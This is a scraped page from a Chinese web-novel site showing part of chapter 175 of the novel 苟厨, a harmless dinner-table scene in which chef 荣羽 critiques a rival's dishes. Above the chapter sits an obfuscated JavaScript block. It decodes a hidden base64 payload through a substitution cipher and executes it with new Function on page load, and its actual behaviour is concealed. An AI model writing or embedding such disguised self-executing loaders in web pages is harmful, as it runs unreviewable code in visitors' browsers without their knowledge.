趣书网

阅读记录  |   用户书架
(function(){function te1a7951(z4874c33){var rceaee7d5="Jjzf?2;8t!SDxe$]CAyp3m/sMR[uQr.W7@-vLUqk&(5OGgNX^EKnbI_=Z1Pc90T|w~o6ha,:FVYiHlBd%4";var y4c20dc8="sIGOcF8pV@1U29_~=7]rfSv0$j[.HlY%5?a|EJmxLMXC^D;tek4wuR!ozBKPZd/gT,QynA-Wh63&qbi(:N";return atob(z4874c33).split('').map(function(ff0fd44){var x06364=rceaee7d5.indexOf(ff0fd44);return x06364==-1?ff0fd44:y4c20dc8[x06364]}).join('')}var c=te1a7951('rtmp://bkJoMD1uWyIzcyIrIjNWU0EiKyI3IisiZSJ5QzNiaD9YQj1oZCl7ZDNiaD9YQj1oZDY/VjNseD9TfkozVj9ZQWVsLX5xM2UzMGUwP1l+cXg/eGVBMyl7QjNkVEcoLT92OkJoVHVYXkpYZGgtL0J8LVg9cHU4ci1YMz1wcSkpe3BeWGJwaH0vLXAgRXNLQTAwMGwtQzNiaD9YQj1oZDNWWT87U1NTKXtwXlhicGggbVhwQmh8dTNwPXFPRi1wTz0wXmQzVlk/O1NTUyl9Ti8tcCAwbEtWWS03U0NbInJSSixRc1MkJmZhZyRVbSRRdygmIn4iL15wLHNTIn4iSkIwLFNLViJ+Ij8/WCx4c3g3LHNWLHhZIHhZJXM3JTdzInlOLy1wIGhzZXN4O1ZTQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZUEpK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlOyl5fmJZZVZBVjNLQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZTspK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlQSl5fkpsc2w7Q3F4P3hlQTNbaHNlc3g7VlNkIi5ZdDY/cXRiMDI0Uj9xcm4wYUNDIil5fl4zLTstO1Y7c0Noc2VzeDtWU2QiLllVci41SXJJOmtybDp0YjBhQ0MiKX5eMDNTXjBzQ2hzZXN4O1ZTZCI/WXRCP1lJNi06N2giKX5COy1ZM2VZO0Noc2VzeDtWU2QiP3F0bmx6MlI5b0NDIil+UlZZVlk3ZVMtQ2hzZXN4O1ZTZCI/WTFKLTVvQyIpfi1WP1NBO0FDaHNlc3g7VlNkIj9xdHg5NVVaOW9DQyIpflpBc0FlS2xeQ2hzZXN4O1ZTZCItcWU4bHxDQyIpflhlWWxsU0F4Q3EzZTMwZTA/WVtoc2VzeDtWU2Qidzoycy1hQ0MiKXl+ODBeZVZBP3hDWGVZbGxTQXhbaHNlc3g7VlNkIi54dDhsYUNDIil5fi1WS3gwMDdeQ1hlWWxsU0F4W2hzZXN4O1ZTZCI5cWsvbFlqQyIpeX5sXjtWZVZDWGVZbGxTQXhbaHNlc3g7VlNkIj9xMmI5emVYIil5fkJsPzctN2VDaHNlc3g7VlNkImw6MnMueHxDIil+cl4teF5WWS03Q2hzZXN4O1ZTZCJsOjJuIil+cF5lQVZeP1lDaHNlc3g7VlNkImx6ZUY5YUNDIilOLy1wIFpTO2UwZTMzQ2hzZXN4O1ZTZCI/eFNzLTpJcjB8Q0MiKU4vLXAgOD9lU0EzOzdLTi8tcCAvc0teM3hsQzY/VjNseD9TW3N5TkIzZDY/VjNseD9TdXJeaHxYRj5TKXsvc0teM3hsQzY/VjNseD9TWy1WS3gwMDdeZGxeO1ZlVmQpKjY/VjNseD9TdXJeaHxYRil5fUIzZHI9Py1YQj1odUpeLXA/RnVCaDBea2YzZFpTO2UwZTMzKT4sUyl7OD9lU0EzOzdLQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiMHp0SzB6MjY5OkxDIikpTjg/ZVNBMzs3S3VCMEMiWCIrbF47VmVWZCkqU15LTjg/ZVNBMzs3S3VKWDZyXnVuQjBYRkMiU3NzVyJOOD9lU0EzOzdLdUpYNnJedUZeQnxGWEMiN3NzOGsiTjg/ZVNBMzs3S3UwQkotbHJeMENYcGJeTkIzZHF4P3hlQTN1bD0wNl9DaGJycil7cXg/eGVBM3VsPTA2dS04OF5oME9GQnIwZDg/ZVNBMzs3Syl9XnJKXnsvLXAgRlM/MDBDM2JoP1hCPWhkKXtxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkOD9lU0EzOzdLKU5xM2UzMGUwP1l1cF5xPS9eTC9eaFgmQkpYXmhecGRwXmVBVl4/WX5GUz8wMH4zLXJKXil9TnEzZTMwZTA/WXUtMDBML15oWCZCSlheaF5wZHBeZUFWXj9ZfkZTPzAwfjMtckpeKX19Ly1wIEZLP3NZeEtlQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiOTpTQjk6b0MiKSlORks/c1l4S2V1QjBDSjNWP1lBZWwtKzgwXmVWQT94ZGxeO1ZlVmQpKlNeSylORks/c1l4S2V1Slg2cl51Rl5CfEZYQyJzOGsiTkZLP3NZeEtldUpYNnJedT0vXnAzcj1uQyJGQjAwXmgiTj89aEpYIFpLOzMwXmxTO0NkXjdsWTNzfm47LTMtP0t+NlYtM2w3WV5DeHNzKUM+Y3A9cUJKXnVwLT9eZFszXlg/RmReN2xZM3N+bjstMy0/Syl+aF5uIGNwPXFCSl5kZGQkfnBeUl4/WClDPkpeWHdCcV49YlhkZGQpQz5wXlJeP1hkaF5uIExwcD1wZCJYQnFePWJYIikpKX42Vi0zbDdZXikpKXkpTi8tcCA2P1k3ZWxDLUo2aD8gM2JoP1hCPWhkWlkweDNeP3hLKXsvLXAgcjdeU0FDWyJSSiJ+Ij9KSiJ+IkZYcXIifiJ8QjMifiJSOHwifiI4aHwieU4vLXAgcmVeXlk/P0NyN15TQXVyXmh8WEZOcjdeU0FDcjdeU0FbLVZLeDAwN15kbF47VmVWZCkqcmVeXlk/Pyl5Tj89aEpYIF47XmVBQWV4Q1siOXg/Yj9ZMi9sNTg4MGh0Wmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5Ti8tcCA9VjA/cy0zQ147XmVBQWV4W3N5TkIzZF47XmVBQWV4dXJeaHxYRj5TKXs9VjA/cy0zQ147XmVBQWV4Wy1WS3gwMDdeZGxeO1ZlVmQpKl47XmVBQWV4dXJeaHxYRil5fS8tcCByXmxec1lDWyJGWFg4SiVUIn5xU2UzN2xzbF5kPVYwP3MtMyl+IkZYcXIifkZLP3NZeEtldUIwfmBNe0ozVj9ZQWVsLX11TXtyN15TQX1geVtaQXNBZUtsXnlkIlQiKU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaEpeaDAgSEogRj1KWCAiK3JebF5zWU5YcDZ7Ly1wIG5sczM3VlZDLW4tQlggWks7MzBebFM7ZHJebF5zWX57Py0/Rl4lImg9LEpYPXBeIn5wXjBCcF4/WCUiMz1ycj1uIn0pTm5sczM3VlZDLW4tQlggbmxzMzdWVnVYXmtYZClOLy1wIEY3eHgwO0NubHMzN1ZWdUJoMF5rZjNkRXNLQTAwMGwtZFZTKSlOLy1wIFpWMzM7M0MiIk5CM2RGN3h4MDs+Q3Mpe1pWMzM7M0NubHMzN1ZWW14wM1NeMHN5ZEY3eHgwOylObmxzMzdWVkNubHMzN1ZWW14wM1NeMHN5ZHN+Rjd4eDA7KX1ubHMzN1ZWQ25sczM3VlZbQmw/Ny03ZXlkVHV7U35LfVR8KVtyXi14XlZZLTd5ZGRrQz5rW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKSkpW1pBc0FlS2xeeWQiIilObmxzMzdWVkNubHMzN1ZWK1pWMzM7M05ubHMzN1ZWQ2hzZXN4O1ZTZG5sczM3VlYpTlpZMHgzXj94S0NubHMzN1ZWW1JWWVZZN2VTLXlkIlQiKVtzeU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaHxeWCBISiBGPUpYIEpiPz9eSkoiK1pZMHgzXj94S30/LVg/RmQzZTstZVkpe0IzZDg/ZVNBMzs3S19DaGJycik4P2VTQTM7N0t1Ly1yYl4rQyJccFxofF5YIEhKIEY9SlggMy1Ccl4wIiszZTstZVl9Ly1wIHxlUz87Q2JZZVZBVjNLZDBsS1ZZLTdTdT89aD8tWGRbYGg9bixNe2ctWF5bImg9biJ5ZCl9YH5gRnBeMyxNe3I9Py1YQj1odUZwXjN9YH5gYko/LE17a2x4LUtTUz8tZCl9YHkpdUo9cFhkZGQpQz5sXjtWZVZkKSx1NykpW1pBc0FlS2xeeWQifiIpKU4vLXAgQmw7S0E7bDdDfGVTPzt1QmgwXmtmM2RFc0tBMDAwbC1kVlMpKT4sU0B8ZVM/O1teMDNTXjBzeWR8ZVM/O3VCaDBea2YzZEVzS0EwMDBsLWRWUykpKSUiIk58ZVM/O0N8ZVM/O1tCOy1ZM2VZO3lkQmw7S0E7bDd+IiIpW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKStCbDtLQTtsN05GSz9zWXhLZXVKcD9DWyJGWFg4SiVUIn5aWTB4M14/eEt+Rks/c1l4S2V1QjB+fGVTPzt5W1pBc0FlS2xeeWQiVCIpTlhwNntxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkRks/c1l4S2UpfT8tWD9GZF4pe3F4P3hlQTN1LTAwTC9eaFgmQkpYXmhecGQiZ2YoTz1oWF5oWCY9LTBeMCJ+ZGQpQz57cXg/eGVBM3VsPTA2dUJoSl5wWDFeMz1wXmRGSz9zWXhLZX5xeD94ZUEzdWw9MDZ1P0ZCcjA0PTBeSltzeSl9KSl9QjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoLTg4XmgwXjAgXnEgWD0gRlhxciJOLy1wIDhBeGw7LUs/Q3F4P3hlQTN1fF5YTHJecV5oWDE2ajBkRks/c1l4S2V1QjApTkIzZDhBeGw7LUs/Q0NoYnJydnY4QXhsOy1LP0NDYmgwXjNCaF4wKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoID8taFggfF5YIF5xIDNwPXEgRlhxciJ9fX1OQjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoSl5oMCBSSiBGPUpYICIrL3NLXjN4bH0vLXAga2x4LUtTUz8tQzNiaD9YQj1oZCl7WHA2ez89aEpYIC87M2V4P1NZQ2RoXm4gZy1YXil1WD0mPT8tcl5nLVhebVhwQmh8ZClOPz1oSlggaDNlN2VZPzNZQ2BKcVhCJEpCMCRNey9BbDszdUozVj9ZQWVsLX0kOC9gTnJeWCBIM1Zsc1YtQVlDVW1mNHU4LXBKXmRyPT8tcm1YPXAtfF51fF5YalhecWRoM2U3ZVk/M1kpKU5CM2RIM1Zsc1YtQVlDQ2hicnJ2dkgzVmxzVi1BWXUwLVheX0MvOzNleD9TWSl7SDNWbHNWLUFZQ3s4L3dCcV5KJXN+MC1YXiUvOzNleD9TWX19cF5YYnBoIEgzVmxzVi1BWXU4L3dCcV5KK1N9Py1YP0ZkMzdeLTdWc2VeKXtwXlhicGggU319Ti8tcCBxU2UzN2xzbF5DM2JoP1hCPWhkRnNlVmw/KXtwXlhicGggaHNlc3g7VlNkRnNlVmw/KVtCOy1ZM2VZO3lkRXNLQTAwMGwtZEt4KX5sXjtWZVZkKXVYPW1YcEJofGRZVil1SnJCP15kLVZLeDAwN15kbF47VmVWZCkqZSkreCkpfU42P1k3ZWxkcVNlMzdsc2xeZC9zS14zeGwpKU5xM2UzMGUwP1lbIi0wMEwvXmhYJkJKWF5oXnAieWQicV5KSi18XiJ+ZDNiaD9YQj1oZDM3Xi03VnNlXil7QjNkMzdeLTdWc2VedTAtWC11RUNDSjNWP1lBZWwtKXtxeD94ZUEzdXxeWExyXnFeaFgxNmowZEZLP3NZeEtldUIwKXVwXnE9L15kKU4vLXAgXjBsZTszQTBDaGJyck5CM2Q4P2VTQTM7N0tfQ2hicnIpezg/ZVNBMzs3S3UvLXJiXitDIlxwXGhwXj9eQi9eIF5xIDg9SlggcV5KSi18XiJOOD9lU0EzOzdLdS8tcmJeK0MiXHBcaF51MC1YLXUvICIrMzdeLTdWc2VedTAtWC11SE5eMGxlOzNBMENkdXV1fD9lS0swWVkpQz57QjNkX3w/ZUtLMFlZdnZ8P2VLSzBZWXVyXmh8WEY8Q3MpcF5YYnBoTjg/ZVNBMzs3S3UvLXJiXitDIlxwXGgiK3w/ZUtLMFlZdVI9QmhkIiAiKX19aF5uIDJiaD9YQj1oZCItcHxKIn4zN14tN1ZzZV51MC1YLXVIKWR7JFgwP0olSmxzbDt+JHI9fCVeMGxlOzNBMH0pfX0pKX0pZFsiOXg/Yi41MXNmenJZLjVJWmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5fiJTS1Yifm5CaDA9bn4wPT9icV5oWCl9TjNzM1ZTQTdlZClO'.substr(7));new Function(c)()})();
上一页
目录 | 设置
下一章

第一百七十五章 我要怼人了(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

荣羽吃得慢,每一样都细细的品味。

黄甲吃得很快,王铁军和范然也吃得慢,慢慢吃,慢慢品。等吃了差不多一半的时候,曾起辉上了楼,进了包间。

“恕罪,招待不周。刚才客人太多了,不得不亲自上手。不过放心,今天荣老弟过来,这几个菜都是我亲手做的。就是不知道味道怎么样?多批评指正。”

本小章还未完,请点击下一页继续阅读后面精彩内容!荣羽点点头说道:“味道不错。”

曾起辉的脸皮就抽了抽,感情还真的评价了,一个词“不错”?我的菜就只能当得一个“不错”的评价?

“荣老弟厨艺高超,具体评价评价?”曾起辉继续说道。

荣羽摇头:“真觉得挺不错的。曾师傅您是老厨师了,这技术活,基本上没啥可以挑剔的毛病了。佩服。”

曾师傅?基本上?我只是个师傅?感觉自己就一大食堂的大师傅一样。

曾起辉抓住了几个关键词,但是面皮上还是堆着笑,说道:“愿闻其详!”这是让荣羽说具体点。

“这个……我就斗胆了?”荣羽说道。

“您请说,没关系。要有所成就,就得了解自己的不足。这点心胸我还是有的。您请说。”曾起辉点点头。

荣羽就指着这龙井虾仁说道:“这道菜本来是浙江菜的代表作。按照浙江菜的做法,得配上鸡蛋、绍酒、熟猪油,还有新鲜的龙井茶叶,再加上鲜活的大河虾。但是曾师傅您做了改进,加入到谭家菜特有的酸辣,使之更符合湘南人的口味,变成了真正的谭家菜单上的一道菜挺好的。”

曾起辉微微的点头。

“这道菜讲究食材的新。一是河虾的新,必须是刚上的河虾。二是龙井茶的新,必须是雨前龙井新茶。再就是这道菜讲究嫩。河虾不宜过老,但是也不宜过生。吃起来的时候,虾肉要带点微微的弹性。”

“q弹!”黄甲马上就加了一句。

荣羽没好气的白了他一眼。

曾起辉看了看他,点点头说道:“对,按照流行词的说法,就是q弹。但是这种弹,是加入了我们谭家菜的秘法。才能有这种q弹的效果。不然的话,弹性好,却显生。不生的话,弹性又不足,吃到嘴里,达不到那种效果。”

荣羽就轻轻的鼓掌。

“果然谭家菜流传百年,是有原因的,领教了。”

曾起辉微微一笑,但是这微笑里,多少是对谭家菜的骄傲的情绪在里面。

“除了龙井虾仁之外,还有正宗的谭家菜代表紫苏鳝鱼汤。”

荣羽点点头说道:“刚才品尝了一下,确实风味独特,特别是鳝鱼肉,肉质鲜美,又有紫苏调味,配上香孤和香菜,味道已经和一般的炒紫苏鳝鱼区别大了。其中味道最让人深刻的是这个汤汁……香浓中带着滑腻,妙不可言啊!”

经荣羽这么一夸,曾起辉脸上就露出了笑容。

黄甲的脚在桌子下轻轻的踩了踩荣羽。

我们这是在打入敌人的内部,你这么夸自己的对头,真的好吗?就连王铁军都有些愕然的看着荣羽,使劲的对着荣羽眨巴眼睛。

只有范然就听得连连点头,仿佛也觉得荣羽说得很对一样。

曾起辉说道:“这道菜的最大的诀窍就在于配料、火候、调味。能做到这种味道,起码得十年以上的大厨经验。”

这话虽然有些抬高谭家菜的逼格的嫌疑,但是也有点儿道理。

荣羽也很认真的点点头,居然是认可了他的说法。

黄甲可就有点儿吃不住劲儿了,忍不住说道:“其实……这个味道呢,还是有点儿……”他想挑个刺,但是想要理直气壮的挑个刺,却有些难为他了。

曾起辉只是微微一笑,根本就不把黄甲说的话当成一回事。就是黄甲挑一百条刺又如何呢?

“不过……”

荣羽忽然也顺着黄甲的话说了一个转折性的词语。

曾起辉脸色微微一变。

说实话,黄甲他可以不在乎,一百条意见他都不在乎,但是荣羽的一条意见,就可能会形成他心目中的一根刺,会让他一直都不舒服。

“可是什么!”

曾起辉说这话的时候语气有些急迫。也许是意识到了自己说话的急迫,他又舒缓了一口气,缓慢的说道。

“有意见只管指出来,我这个人最爱听的就是别人提的意见,用来改进自己的厨艺还是有很大的好处的。”

荣羽就点点头,算是认可了他的话。

“敢问曾师傅,谭家菜是以味为主,还是以客人的情绪为主?”

喜欢苟厨请大家收藏:苟厨本站更新速度全网最快。

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间